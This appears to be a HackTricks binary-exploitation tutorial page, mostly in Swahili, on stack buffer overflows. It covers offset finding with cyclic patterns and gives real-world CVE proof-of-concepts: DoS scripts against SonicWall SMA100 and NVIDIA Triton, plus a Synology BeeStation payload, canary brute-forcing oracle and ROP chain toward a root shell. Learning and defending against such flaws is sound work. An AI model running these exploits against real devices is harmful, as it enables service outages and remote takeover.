Stack Overflow

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Stack Overflow ni nini

A stack overflow ni udhaifu unaotokea wakati programu inaandika data zaidi kwenye stack kuliko ilivyotengwa kuhifadhi. Data hiyo ya ziada itaandika juu ya maeneo ya kumbukumbu yaliyo karibu, ikisababisha uharibifu wa data halali, kuvurugika kwa mtiririko wa udhibiti, na kwa uwezekano utekelezaji wa code ya uharifu. Tatizo hili mara nyingi hutokana na matumizi ya functions zisizo salama ambazo hazifanyi ukaguzi wa mipaka kwenye input.

Shida kuu ya uandishi huu ni kwamba kiashiria cha maagizo kilichohifadhiwa (EIP/RIP) na kiashiria cha msingi kilichohifadhiwa (EBP/RBP) ambazo zinatumiwa kurudi kwenye function iliyotangulia ziko hifadhi kwenye stack. Kwa hiyo, mshambuliaji ataweza kuzibadilisha na kudhibiti mtiririko wa utekelezaji wa programu.

Udhaifu huu kwa kawaida unatokea kwa sababu function inakili kwenye stack bytes nyingi zaidi kuliko kiwango kilichotengwa kwake, na hivyo kuwawezesha kufuta sehemu nyingine za stack.

Baadhi ya functions zinazojulikana kuwa hatarishi ni: strcpy, strcat, sprintf, gets… Pia, functions kama fgets, read & memcpy ambazo zinapokea parameta ya urefu, zinaweza kutumika kwa njia hatarishi ikiwa urefu uliobainishwa ni mkubwa kuliko ule uliotengwa.

Kwa mfano, functions zifuatazo zinaweza kuwa hatarishi:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Kupata Stack Overflows offsets

Njia ya kawaida zaidi ya kugundua Stack Overflow ni kutoa input kubwa sana ya As (mfano python3 -c 'print("A"*1000)') na kutarajia Segmentation Fault ikionyesha kwamba anwani 0x41414141 ilijaribiwa kufikiwa.

Zaidi ya hayo, mara utakapogundua kwamba kuna Stack Overflow vulnerability utahitaji kupata offset mpaka iwezekane overwrite the return address, kwa hili kawaida hutumika De Bruijn sequence. Kwa alfabeti fulani ya ukubwa k na subsequences za urefu n, ni mfululizo mviringao ambapo kila subsequence inayowezekana ya urefu n inaonekana kamili mara moja kama subsequence mfululizo.

Hivyo, badala ya kuhitaji kubaini kwa mkono ni offset gani inahitajika kudhibiti EIP, inawezekana kutumia moja ya mfululizo hizi kama padding na kisha kupata offset ya bytes ambazo hatimaye ziliandika juu yake.

Inawezekana kutumia pwntools kwa hili:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

au GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Kutumia Stack Overflows

During an overflow (supposing the overflow size if big enough) you will be able to overwrite values of local variables inside the stack until reaching the saved EBP/RBP and EIP/RIP (or even more).
The most common way to abuse this type of vulnerability is by modifying the return address so when the function ends the control flow will be redirected wherever the user specified in this pointer.

However, in other scenarios maybe just overwriting some variables values in the stack might be enough for the exploitation (like in easy CTF challenges).

Ret2win

In this type of CTF challenges, there is a function inside the binary that is never called and that you need to call in order to win. For these challenges you just need to find the offset to overwrite the return address and find the address of the function to call (usually ASLR would be disabled) so when the vulnerable function returns, the hidden function will be called:

Ret2win

Stack Shellcode

In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.

Windows Seh Overflow

ROP & Ret2… techniques

This technique is the fundamental framework to bypass the main protection to the previous technique: No executable stack (NX). And it allows to perform several other techniques (ret2lib, ret2syscall…) that will end executing arbitrary commands by abusing existing instructions in the binary:

ROP & JOP

Heap Overflows

An overflow is not always going to be in the stack, it could also be in the heap for example:

Heap Overflow

Aina za protections

There are several protections trying to prevent the exploitation of vulnerabilities, check them in:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

Uonyesho mzuri wa kwanini sscanf haipaswi kamwe kuaminika kwa kuchambua input isiyoaminika ulitokea mwaka 2025 kwenye SonicWall’s SMA100 SSL-VPN appliance.
The vulnerable routine inside /usr/src/EasyAccess/bin/httpd attempts to extract the version and endpoint from any URI that begins with /__api__/:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. Toleo la kwanza (%2s) linaweka kwa usalama baiti mbili ndani ya version (kwa mfano "v1").
  2. Toleo la pili (%s) halina kipengele kinachoonyesha urefu, hivyo sscanf itaendelea kunakili hadi baiti ya kwanza ya NUL.
  3. Kwa sababu endpoint iko kwenye stack na ni 0x800 bytes long, kutoa path inayozidi 0x800 bytes kutaharibu kila kitu kilichopo baada ya buffer ‑ ikiwa ni pamoja na stack canary na saved return address.

Proof-of-concept ya mstari mmoja inatosha kusababisha crash kabla ya authentication:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Ingawa stack canaries huzuia mchakato, mshambuliaji bado hupata primitive ya Denial-of-Service (na, kwa additional information leaks, inawezekana code-execution).

Mfano wa Dunia Halisi: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

Triton Inference Server ya NVIDIA (≤ v25.06) ilikuwa na stack-based overflows nyingi zinazoweza kufikiwa kupitia HTTP API yake. Mfumo wenye udhaifu ulionekana mara kwa mara katika http_server.cc na sagemaker_server.cc:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) inarudisha idadi ya vipande vya buffer vya ndani vinavyounda mwili wa ombi la HTTP la sasa.
  2. Kila kipande husababisha 16-byte evbuffer_iovec kugawiwa kwenye stack kupitia alloca()bila kikomo cha juu.
  3. Kwa kutumia vibaya HTTP chunked transfer-encoding, mteja anaweza kulazimisha ombi kugawanywa katika mamia ya maelfu ya vipande vya 6-byte ("1\r\nA\r\n"). Hii inafanya n kukua bila kikomo hadi stack itakapokosa nafasi.

Uthibitisho wa Dhana (DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())

for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()

if name == “main”: exploit(*sys.argv[1:])

</details>
Ombi la takriban ~3 MB linatosha kuandika juu ya saved return address na **crash** daemon kwenye default build.

### Mfano wa Uhalisia: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

Synacktiv’s Pwn2Own 2025 chain ilitumia pre-auth overflow katika `SYNO.BEE.AdminCenter.Auth` kwenye port 5000. `AuthManagerImpl::ParseAuthInfo` hu-Base64-decode input ya mshambuliaji katika 4096-byte stack buffer lakini kwa makosa inaweka `decoded_len = auth_info->len`. Kwa sababu CGI worker hu-fork kwa kila ombi, kila child anarithi parent’s stack canary, hivyo overflow primitive imara moja inatosha kwa kuharibu stack na leak siri zote zinazohitajika.

#### Base64-decoded JSON as a structured overflow
Blob iliyodecoded lazima iwe valid JSON na ijumuishe keys `"state"` na `"code"`; vinginevyo, parser itatoa kabla overflow iwe na manufaa. Synacktiv alitatua hili kwa ku-Base64-encode payload ambayo inadecoded kuwa JSON, kisha NUL byte, kisha overflow stream. `strlen(decoded)` inasimama kwenye NUL kwa hivyo parsing inafanikiwa, lakini `SLIBCBase64Decode` tayari imeandika juu ya stack past the JSON object, ikifunika the canary, saved RBP, na return address.
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle bruteforcing of canaries & pointers

synoscgi hufork mara moja kwa kila ombi la HTTP, hivyo watoto wote wanashiriki canary sawa, muundo wa stack, na PIE slide. The exploit inachukulia HTTP status code kama oracle: jibu la 200 lina maana byte iliyokisia ilihifadhi stack, wakati 502 (au muunganisho uliokatika) linaonyesha mchakato uliporomoka. Brute-forcing kila byte mfululizo hurudisha canary ya 8-byte, saved stack pointer, na return address ndani ya libsynobeeadmincenter.so:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr simply calls bf_next_byte eight times while appending the confirmed prefix. Synacktiv parallelized these oracles with ~16 worker threads, reducing the total leak time (canary + stack ptr + lib base) to under three minutes.

Kutoka leaks hadi ROP & utekelezaji

Mara tu library base inajulikana, common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) zinaunda primitive ya arb_write ambayo inastage /bin/bash, -c, na attacker command kwenye anwani ya stack iliyoleak. Mwisho, chain inaunda calling convention kwa SLIBCExecl (a BeeStation wrapper around execl(2)), ikitoa root shell bila hitaji la separate info-leak bug.

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks